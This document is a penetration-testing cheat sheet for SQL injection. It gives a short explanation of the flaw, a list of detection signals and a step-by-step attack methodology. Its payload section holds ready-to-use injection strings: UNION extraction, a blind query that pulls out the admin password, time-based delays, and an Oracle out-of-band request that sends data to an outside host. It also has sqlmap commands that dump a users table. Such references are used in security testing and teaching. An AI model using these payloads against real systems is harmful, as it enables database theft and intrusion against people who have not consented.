sql-injection

SQL Injection

What Is Broken and Why

SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.

Key Signals

• Single quote ' or semicolon ; in a parameter returns a database error or anomalous response
• AND 1=1 returns normal content; AND 1=2 returns empty/different content
• Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
• ORDER BY N-- incrementing until an error reveals column count
• Delayed response to SLEEP(5) or WAITFOR DELAY '0:0:5'
• Application encodes or strips ' but not -- or /**/

Methodology

1. Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
2. Submit ', ", ;, --, /* */ individually and observe response differences (errors, blank pages, changed content).
3. Confirm with boolean pair: append AND 1=1-- (true) vs AND 1=2-- (false).
4. Determine column count with ORDER BY 1--, incrementing until error.
5. Find injectable columns with UNION SELECT null,null,...-- substituting null with 1 or 'a' to locate string columns.
6. Extract data: UNION SELECT table_name,null FROM information_schema.tables--
7. For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
8. For error-based (Oracle): use UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)).
9. Test stacked queries where supported: ; INSERT INTO ....
10. Escalate to OS interaction if database user has sufficient privileges.

Payloads & Tools

# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--

# Column count
TARGET/page?id=10 ORDER BY 5--

# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--

# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--

# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--

# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--

# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--

# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--

# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2